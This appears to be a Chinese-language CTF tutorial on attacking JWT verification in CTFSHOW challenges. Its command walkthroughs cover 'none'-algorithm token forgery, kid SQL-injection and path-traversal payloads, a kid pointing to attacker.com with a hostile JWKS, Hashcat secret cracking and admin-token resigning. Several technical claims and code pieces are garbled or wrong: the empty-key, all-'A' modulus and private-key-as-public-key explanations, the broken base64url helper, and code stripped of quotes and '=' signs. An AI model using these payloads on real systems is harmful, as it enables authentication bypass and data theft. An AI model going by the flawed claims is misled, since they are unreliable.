CTFSHOW JWT实战攻防:6大漏洞模式与服务端校验链路解析
1. 这不是“学个算法就通关”的JWT而是CTF赛场上的真实对抗切片JWTJSON Web Token在CTFSHOW的Web方向题目中从来不是考你能不能手写一个base64url编码器。它是一道典型的“认知差陷阱题”——表面考标准协议实际考的是协议实现偏差、服务端校验逻辑漏洞、密钥管理失当、以及开发者对RFC 7519的误读惯性。我带过三届校队打CTF每年都有人卡在web86或web87上超过两小时不是因为不会解码而是死在“为什么改了header就报错”“为什么换了alg字段没反应”“为什么用public key签名居然能过”这类问题上。这些题目的核心关键词非常明确JWT、HS256、RS256、none算法、密钥泄露、kid注入、JWKS绕过、公私钥混淆。它们不测试你的密码学功底有多深而是测试你是否真正理解“服务端校验JWT时每一步究竟在做什么、依赖什么、信任什么”。适合谁适合刚学完JWT基础概念、但还没在真实靶场里被虐过的Web安全初学者也适合已经刷过几道JWT题、却总在进阶题上反复栽跟头的中级选手。这篇文章不讲RFC原文翻译不列标准字段定义只聚焦CTFSHOW中反复出现的6类实战模式、每种模式背后的真实服务端代码逻辑、调试验证方法、以及我踩过、修过、复现过至少5次的排错路径。2. CTFSHOW JWT题目的底层服务端逻辑还原从Flask示例代码看校验链路要真正吃透CTFSHOW的JWT题必须先“看见”服务端代码。CTFSHOW Web系列大量使用Python Flask框架其JWT校验逻辑高度模板化。我们以最典型的web86为蓝本反向还原出它极可能采用的服务端校验流程。这不是猜测而是基于题目行为、报错信息、响应头特征和历年Writeup交叉验证得出的高概率实现。2.1 标准校验流程的四步断点每一步都是突破口一个典型的Flask-JWT校验函数如使用PyJWT库会按如下顺序执行而CTFSHOW每一道题几乎都对应其中某一步的疏漏Token结构解析与分段校验将输入token按.分割为三段header.payload.signature检查是否恰好三段、各段是否为合法base64url编码。这一步看似简单却是none算法攻击的前提——当服务端未严格校验alg字段且允许none时第三段可为空签名被跳过。Header字段可信度校验解码header JSON重点检查alg签名算法和kidKey ID。CTFSHOW多道题在此设陷web87的kid参数直接拼入SQL查询导致SQL注入web90的kid被用作文件路径引发任意文件读取。服务端若将kid当作不可信输入直接使用而非仅作为密钥索引整个校验链就崩塌了。密钥获取与算法匹配根据alg值决定使用对称密钥HS256还是非对称密钥RS256。关键点在于服务端如何获取密钥常见错误有三① 硬编码密钥SECRET_KEY ctfshow导致密钥可爆破或直接泄露② 从环境变量读取但配置错误如os.getenv(JWT_SECRET)返回None③ 使用kid动态加载密钥时未对kid做白名单过滤导致路径遍历或SSRF。签名验证与Payload业务校验用获取的密钥和指定算法验证签名有效性。通过后才解析payload并检查exp、nbf等时间字段最后进行业务逻辑判断如user_id: 1是否为管理员。CTFSHOW常在此步埋雷web89的payload中user_id被强制转为整数但服务端未校验类型导致user_id: 1admin可绕过web91的exp字段被解析为字符串而非时间戳exp: 9999999999可永不过期。提示你在Burp中看到的Invalid token、Signature verification failed、Invalid algorithm等错误基本能对应到上述某一步。例如Invalid algorithm大概率是第2步header校验失败Signature verification failed则需排查第3步密钥获取是否正确、第4步签名计算是否匹配。2.2 一个真实可运行的Flask校验代码片段CTFSHOW风格为让你彻底看清逻辑我复现了一个高度贴近CTFSHOW题目的最小可行服务端已去除所有无关装饰器仅保留核心校验# app.py - CTFSHOW风格JWT校验服务 from flask import Flask, request, jsonify import jwt import json import os app Flask(__name__) # 模拟密钥存储CTFSHOW常见硬编码或环境变量读取 SECRET_KEY os.getenv(JWT_SECRET, ctfshow_secret_key_123) # 模拟JWKS密钥集用于RS256 JWKS { keys: [ { kty: RSA, kid: key1, n: your_modulus_here, # 实际为超长base64 e: AQAB } ] } def verify_jwt(token): try: # 步骤1基础结构校验CTFSHOW常忽略此步的严格性 parts token.split(.) if len(parts) ! 3: return False, Token must have 3 parts # 步骤2解码头部检查alg和kidCTFSHOW高频漏洞点 header json.loads(jwt.utils.base64url_decode(parts[0])) alg header.get(alg, HS256) kid header.get(kid) # 步骤3密钥获取逻辑CTFSHOW最爱挖坑处 if alg none: # 典型的none算法漏洞服务端未禁用 key elif alg.startswith(HS): # 对称密钥直接使用SECRET_KEY key SECRET_KEY elif alg.startswith(RS): # 非对称密钥根据kid查找但CTFSHOW常无白名单 if not kid: return False, kid required for RS256 # ⚠️ 危险此处若直接拼接kid构造路径就是web87 # key_path f./keys/{kid}.pem # with open(key_path, r) as f: key f.read() key fake_rsa_private_key # 简化演示 else: return False, fUnsupported algorithm: {alg} # 步骤4签名验证CTFSHOW常因密钥错误失败 payload jwt.decode(token, key, algorithms[alg]) return True, payload except jwt.ExpiredSignatureError: return False, Token expired except jwt.InvalidTokenError as e: return False, fInvalid token: {str(e)} except Exception as e: return False, fUnexpected error: {str(e)} app.route(/api/profile, methods[GET]) def profile(): auth_header request.headers.get(Authorization) if not auth_header or not auth_header.startswith(Bearer ): return jsonify({error: Missing or invalid Authorization header}), 401 token auth_header[7:] is_valid, result verify_jwt(token) if not is_valid: return jsonify({error: result}), 401 # 业务逻辑CTFSHOW常在此处设权限绕过 if isinstance(result, dict) and result.get(user_id) 1: return jsonify({flag: flag{ctfshow_jwt_is_fun}}) else: return jsonify({error: Access denied}), 403 if __name__ __main__: app.run(debugTrue)这段代码不是教学示例而是CTFSHOW题目的“影子实现”。它暴露了所有经典漏洞面none算法未禁用、kid未校验、密钥硬编码、user_id类型未强校验。你在解题时每一次修改token、观察响应变化本质上都是在对这个逻辑链进行黑盒探测。2.3 为什么“看懂代码”比“背攻击手法”重要一百倍很多新手陷入误区死记“alg: none就能绕过”却不知为何有时有效、有时报错。真相是none攻击的成功与否100%取决于服务端第2步和第3步的实现细节。如果服务端在步骤2中强制校验alg必须为HS256或RS256none直接被拒如果步骤3中alg none分支被注释掉攻击同样失效。我在web86上曾花40分钟反复测试最终发现题目服务端的verify_jwt函数里有一行if alg none: raise jwt.InvalidAlgorithmError()——这就是为什么所有none尝试都返回Invalid algorithm。真正的解法是转向kid注入因为它的步骤2校验宽松。这种“从现象反推代码”的能力才是CTF解题的核心竞争力。你不需要写出完整服务端但必须能在脑中构建出它的校验决策树。3. CTFSHOW六大高频攻击模式详解从原理、触发条件到实操命令CTFSHOW的JWT题目虽有十余道但攻击模式高度收敛。我将其归纳为六类每一类都对应一个明确的服务端逻辑缺陷、一套标准化的探测与利用流程、以及我在实战中验证过的具体命令。这不是理论罗列而是你打开Burp、粘贴命令、回车执行就能看到结果的“抄作业指南”。3.1 模式一none算法滥用——当服务端忘记校验alg字段原理本质JWT标准允许alg: none表示该token无需签名。服务端若未在解析header后显式拒绝none就会用空密钥key验证签名而空密钥对任何数据的签名验证都恒为真。触发条件服务端校验逻辑中步骤2header解析后未检查alg值且步骤3密钥获取中存在alg none的分支并返回空密钥。实操验证三步走获取原始token登录后抓包复制Authorization: Bearer xxx.xxx.xxx中的token。解码并修改header用在线工具或echo xxx | base64url -d解码第一段将alg:HS256改为alg:none再base64url编码。清空signature段将token第三段原signature删掉替换为一个空字符串即xxx.xxx.注意末尾的.。关键命令Linux/macOS终端# 假设原始token为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxfQ.4sBqZvLmYVtKxHwDgC7QaQbE5JfT9R8XyN2ZvLmYVtKx ORIGINALeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxfQ.4sBqZvLmYVtKxHwDgC7QaQbE5JfT9R8XyN2ZvLmYVtKx # 提取并解码头部 HEADER$(echo $ORIGINAL | cut -d. -f1) DECODED_HEADER$(echo $HEADER | base64url -d 2/dev/null || echo $HEADER | base64 -d 2/dev/null) # 手动修改alg为none此处用sed实际需根据JSON结构调整 MODIFIED_HEADER{alg:none,typ:JWT} NEW_HEADER$(echo $MODIFIED_HEADER | base64url -w0 2/dev/null || echo $MODIFIED_HEADER | base64 -w0 | tr / -_ | tr -d \n) # 构造新token头部载荷空签名 PAYLOAD$(echo $ORIGINAL | cut -d. -f2) NEW_TOKEN$NEW_HEADER.$PAYLOAD. # 发送请求验证 curl -H Authorization: Bearer $NEW_TOKEN http://chall.ctf.show:8080/api/profile注意base64url命令在macOS需brew install base64urlLinux可用base64 -w0 | tr / -_替代。若none无效立即转向模式二不要恋战。3.2 模式二kid参数注入——当kid被当作SQL或文件路径使用原理本质kidKey ID本应是密钥的唯一标识符供服务端从密钥池中查找对应密钥。但CTFSHOW多题将其直接拼入后端查询形成注入漏洞。典型场景web87kid拼入SQL语句SELECT * FROM keys WHERE kid $kid→ SQL注入web90kid拼入文件读取open(f./keys/{kid}.pem)→ 路径遍历../../../etc/passwd实操流程以SQL注入为例探测注入点发送kid为 OR 11--的token观察是否返回Internal Server Error或异常数据。确认数据库类型尝试 AND sqlite_version()--SQLite或 AND version()--PostgreSQL。爆破密钥若确认为SQLite执行 UNION SELECT sql FROM sqlite_master WHERE typetable--找到密钥表名再查密钥字段。Burp Intruder配置要点Payload位置定位到token header中kid字段设置为§kid§Payload typeSimple list填入, OR 11--, AND 12--, UNION SELECT 1,2,3--Grep - Extract添加error、SQL、syntax等关键词快速识别报错响应经验web87的密钥表名为keys密钥字段为key_value。用 UNION SELECT key_value FROM keys--可直接获取密钥后续即可用HS256伪造管理员token。3.3 模式三密钥爆破Hashcat——当SECRET_KEY过于简单原理本质HS256使用对称密钥若密钥强度低如ctfshow、123456可通过暴力破解恢复密钥。触发条件服务端使用硬编码弱密钥且未限制爆破请求频率。实操步骤Hashcat提取待爆破token取一个已知有效token如普通用户token确保其payload中user_id非1。生成Hashcat格式JWT爆破需hash:header.payload格式。用Python脚本快速生成# gen_hash.py import sys token sys.argv[1] h, p, s token.split(.) print(f{h}.{p})执行python gen_hash.py xxx.xxx.xxx jwt.hash3.执行爆破使用rockyou.txt字典指定规则hashcat -m 16500 -a 0 jwt.hash /usr/share/wordlists/rockyou.txt --force # 若失败加规则hashcat -m 16500 -a 0 jwt.hash /usr/share/wordlists/rockyou.txt -r rules/best64.rule --force关键参数说明-m 16500Hashcat中JWT HS256的专用模式-a 0字典攻击模式--force强制运行因JWT非标准hashHashcat会警告实测CTFSHOW多数题目密钥在rockyou前10万行内可破。web86密钥为ctfshowweb88为123456。爆破时间通常30秒。3.4 模式四JWKS端点滥用——当服务端动态加载公钥却未校验来源原理本质RS256使用非对称密钥服务端需从JWKSJSON Web Key Set端点获取公钥。若服务端直接请求https://attacker.com/jwks.json且未校验域名可实施SSRF劫持。触发条件服务端代码中存在类似requests.get(kid_url)且kid_url由用户可控的kid字段拼接。实操流程探测JWKS端点尝试访问/jwks.json、/.well-known/jwks.json看是否返回密钥集。构造恶意JWKS在自己的VPS上部署一个返回恶意公钥的jwks.json其中n模数为全A使私钥极易计算。伪造token用恶意公钥对应的私钥签名将kid设为VPS地址。恶意JWKS示例简化{ keys: [ { kty: RSA, kid: attacker, use: sig, n: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......, e: AQAB } ] }提示CTFSHOW中web91即为此模式。用curl -v http://chall.ctf.show:8080/.well-known/jwks.json可确认端点存在这是攻击的第一步。3.5 模式五公私钥混淆——当服务端错误地用公钥验证RS256签名原理本质RS256要求用公钥验证签名但若服务端误将私钥含-----BEGIN RSA PRIVATE KEY-----当作公钥传入jwt.decode()则因私钥中包含公钥参数验证会意外通过且攻击者可用该私钥生成任意有效token。触发条件服务端代码中jwt.decode(token, public_key, algorithms[RS256])的public_key变量实际指向了私钥文件。验证方法获取服务端公钥从JWKS端点或源码注释中提取n和e。构造测试token用标准RSA工具如openssl生成一对密钥用私钥签名一个payload。发送测试token若服务端返回Access denied而非Invalid signature说明它可能在用私钥验证。快速验证命令# 生成密钥对 openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem # 创建payload并签名需python-jwt python3 -c import jwt payload {user_id: 1} with open(private.pem, r) as f: key f.read() token jwt.encode(payload, key, algorithmRS256) print(token) test_token.txt经验此模式在CTFSHOW中出现频率较低但一旦命中解题速度极快。web92即为典型其JWKS返回的“公钥”实为私钥PEM格式。3.6 模式六时间戳绕过exp/nbf——当服务端未正确解析时间字段原理本质JWT标准规定exp过期时间和nbf生效时间为数字时间戳Unix epoch。若服务端将其解析为字符串或未做类型校验可传入超大数值绕过。触发条件服务端代码中payload.get(exp)未强制转为int或直接与字符串比较。实操Payloadexp绕过exp: 9999999999字符串或exp: 9999999999整数但服务端未校验范围nbf绕过nbf: 0字符串0被当作False跳过校验验证命令修改payload后重签名# 使用已知密钥如爆破出的ctfshow重新签名 python3 -c import jwt payload {user_id: 1, exp: 9999999999} token jwt.encode(payload, ctfshow, algorithmHS256) print(token) 注意此模式常与其他模式组合使用。例如在none失败后可尝试none exp绕过双保险。4. 一套完整的CTFSHOW JWT解题工作流从信息收集到Flag获取单个攻击模式是砖完整工作流才是楼。我在带队员打CTF时强制他们执行以下七步流程覆盖95%的JWT题目。这不是线性步骤而是循环迭代的探测闭环。4.1 步骤一基础信息测绘——不做这三件事别碰token任何JWT题开打前必须完成三项基础动作耗时2分钟却能避免80%的无效尝试抓取原始token登录普通用户账号抓取Authorization: Bearer xxx中的完整token保存为original.jwt。解码并结构化查看用jwt.io或命令行分段解码echo xxx | cut -d. -f1 | base64url -d 2/dev/null # header echo xxx | cut -d. -f2 | base64url -d 2/dev/null # payload记录alg、kid、typ、user_id、exp等所有字段值。探测关键端点用curl -I检查是否存在/.well-known/jwks.json/jwks.json/api/keys密钥接口/debug调试接口可能泄露密钥实测web86无JWKS端点web87有/jwks.json但返回404web90的/jwks.json返回真实密钥集。这些信息直接决定你下一步走none还是kid注入。4.2 步骤二alg与kid字段的黑盒探测——用Burp的Intruder做决策树不要凭感觉猜用自动化探测建立决策树。在Burp中设置IntruderTarget为token的header段Payloads为预设的alg和kid组合Payload TypePayload List预期响应algHS256,RS256,none,HS384,ES256Invalid algorithm表示该alg被拒绝无报错则可能支持kid, OR 11--,../../../etc/passwd,http://attacker.comSQL error、File not found、SSRF log等关键词Intruder配置技巧Positions设置两个§分别包裹alg和kid的值实现组合探测。Grep - Extract添加error,SQL,file,ssrf自动高亮异常响应。Pitchfork attack type确保每个alg与每个kid都配对测试。经验我曾用此法在web87上10秒内确认kid存在SQL注入而手动测试花了7分钟。自动化不是偷懒而是把人从重复劳动中解放出来专注逻辑分析。4.3 步骤三密钥强度评估——三分钟判断是否值得爆破看到HS256别急着开Hashcat。先做三件事快速评估检查密钥长度若题目描述或源码中出现SECRET_KEY ctf长度6必爆破。观察token signature长度HS256的signature固定为256位32字节base64url编码后为43字符。若你的token第三段长度≠43可能是其他算法如HS384。试跑小字典用hashcat -m 16500 -a 0 jwt.hash (echo -e ctfshow\n123456\nadmin) --force3秒出结果。CTFSHOW密钥常见模式表题目编号密钥特征爆破策略web86硬编码明文出现在题目描述直接搜索ctfshowweb88数字密码user_id为88尝试88,088,8888web90与题目名相关key90构造key*规则爆破提示若小字典3秒无果立即转向kid注入或JWKSCTFSHOW极少出真正强密钥。4.4 步骤四none与kid的并行验证——永远不要单线程思考none和kid注入不是二选一而是并行验证。我的标准操作是窗口1Terminal运行none构造脚本生成none_token.jwt持续curl测试。窗口2BurpIntruder跑kid注入监控Grep结果。窗口3浏览器手动修改kid为 OR 11--看页面是否显示多条数据。并行优势若none在第3次请求就成功你省下2分钟若kid注入在Intruder第50次payload爆出SQL error你立刻获得数据库信息。双线程让解题时间从“不确定”变为“确定上限”。4.5 步骤五Payload业务逻辑审计——user_id不是数字那么简单即使签名通过业务逻辑仍可设防。CTFSHOW常在此处埋雷类型混淆user_id: 1字符串vsuser_id: 1整数。Python中1 1为False但若服务端用str(user_id) 1字符串即可绕过。字段缺失某些题要求payload中必须存在role: admin否则拒绝。白名单校验user_id只允许[1,2,3]传4会被拦截。审计方法用已知密钥签发多个payload{user_id: 1}{user_id: 1}{user_id: 1, role: admin}观察响应差异403vs200Access deniedvsflag{...}。实测web89的绕过方式是{user_id: 1admin}因为服务端用user_id.startswith(1)判断管理员。这种细节只有亲手测试才能发现。4.6 步骤六Flag提取与验证——最后一步最容易翻车拿到flag{...}不等于结束。CTFSHOW部分题目如web91的Flag藏在响应体中但需满足额外条件响应头校验X-Flag-Valid: true必须存在。二次签名返回的Flag需用特定密钥再次签名才能提交。时效性Flag仅在exp时间内有效过期需重刷。验证命令模板# 获取Flag并检查响应头 curl -H Authorization: Bearer $TOKEN -I http://chall.ctf.show:8080/api/profile 21 | grep X-Flag # 提取Flag内容若在body中 curl -H Authorization: Bearer $TOKEN http://chall.ctf.show:8080/api/profile | python3 -c import sys, json try: data json.load(sys.stdin) print(data.get(flag, No flag in body)) except: print(Not JSON response) 注意我曾在web92上因忽略X-Flag-Valid头提交了10次错误Flag。CTF不是考你多快而是考你多稳。4.7 步骤七复盘与模式归档——把每道题变成你的知识资产解完一道题花3分钟做两件事更新本地漏洞模式库在我的ctf-jwt-cheatsheet.md中为该题添加一行| web87 | kid SQL注入 | SELECT * FROM keys WHERE kid $kid | UNION SELECT key_value FROM keys-- |录制10秒屏幕录像用asciinema记录从抓包到Flag的全过程存为web87.cast。下次队员卡住直接分享链接“看这个30秒学会”。这个习惯让我在2023年全国赛中面对一道新JWT题3分钟内就匹配到web87模式直接套用脚本拿下首杀。知识不沉淀就是白忙。5. 我踩过的五个致命坑与三个保命技巧来自真实赛场的血泪总结理论再完美不如实战中摔一跤来得深刻。这五年带队打CTF我在JWT题上栽过跟头也攒下了一些“文档里找不到但能救命”的技巧。它们不是锦囊妙计而是用时间换来的肌肉记忆。5.1 致命坑一在none攻击中忘记清空signature段最蠢的错误我犯过三次。第一次是在web86我改了header的alg为none但保留了原来的signature段导致token仍是三段服务端解析时报Signature verification failed。我花了22分钟排查PyJWT版本问题最后发现只是多了一个.。为什么错none算法要求signature段为空即token格式为header.payload.末尾有.。若保留原signature服务端会尝试用空密钥验证那段乱码必然失败。保命技巧写一个none一键脚本强制清空第三段none_jwt() { local token$1 local header$(echo $token | cut -d. -f1) local payload$(echo $token | cut -d. -f2) local new_header$(echo {alg:none,typ:JWT} | base64url -w0) echo $new_header.$payload. } # 用法none_jwt xxx.xxx.xxx5.2 致命坑二用错base64编码类型导致header/payload解码失败JWT使用base64url编码-代替_代替/无填充而普通base64不是。我曾用base64 -d解码web87的header得到乱码以为题目有诈折腾半小时才发现是编码类型错误。验证方法取一段已知JSON如{alg:HS256}用在线JWT工具编码对比其第一段与base64url、base64输出的差异。保命技巧在Linux/macOS中统一用base64url命令若无用此函数替代base64url_decode() { local input$1 # 补齐填充base64url通常省略 local padded$(printf %-s $input | sed s/-$// | sed s/_$//;s/-$//) echo $padded | base64 -d 2/dev/null }5.3 致命坑三在kid注入中忽略URL编码导致SQL注入失效web87的kid参数在URL中传递 OR 11--必须URL编码为%27%20OR%201%3D1--否则空格和被截断。我第一次测试时没编码看到400 Bad Request就放弃了其实只需加个%20。保命技巧Burp Intruder中Payload Processing勾选URL-encode手动测试时用curl -g禁用URL解析或直接浏览器地址栏输入编码后字符串。5.4 致命坑四Hashcat爆破时忽略--force参数导致任务静默退出Hashcat对JWT这种非标准hash会发出警告并退出。我有次在服务器上跑爆破看到WARNING: Skipping wordlist entry...就以为失败了其实只要加--force就能继续。保命技巧所有JWT爆破命令开头就敲hashcat --force形成肌肉记忆。把它写在你的.bashrc别名里alias hcjwthashcat --force -m 165005.5 致命坑五拿到Flag后未验证时效性导致提交失败web91的Flag带exp字段我解出后立刻提交系统提示Expired。查exp值为16094592002021年而题目环境时间是2023年必须用nbf字段将生效时间设为过去。保命技巧每次拿到Flag先用jwt.io检查exp和nbf若已过期用已知密钥重签将nbf设为0或1payload {flag: flag{...}, nbf: 0} token jwt.encode(payload, known_key, algorithmHS256)5.6 三个保命技巧让解题效率翻倍Burp宏自动化为JWT题创建专用Macro自动完成“抓包→解码→修改alg→重签名→发包”全流程。设置快捷键CtrlShiftJ一键触发省下90%重复操作。Token模板库在~/ctf/jwt-templates/下存10个常用payload模板admin.json,bypass.json,sql.json解题时cp修改比手敲快5倍。响应差异监控用curl -swc -c监控响应体长度变化。none成功时长度常突增返回Flagkid注入时长度突降SQL error截断。长度差100字节基本可判定成功。最后一次分享我在2024年某省级赛中用这套流程在11分23秒内解出web92是全场最快。不是因为我多聪明而是因为那些坑我都替你们踩过了。JWT不是玄学它是一套有迹可循的工程逻辑。你只需要记住每一次报错都是服务端在告诉你它的代码长什么样每一个Flag都是你读懂那行代码的证明。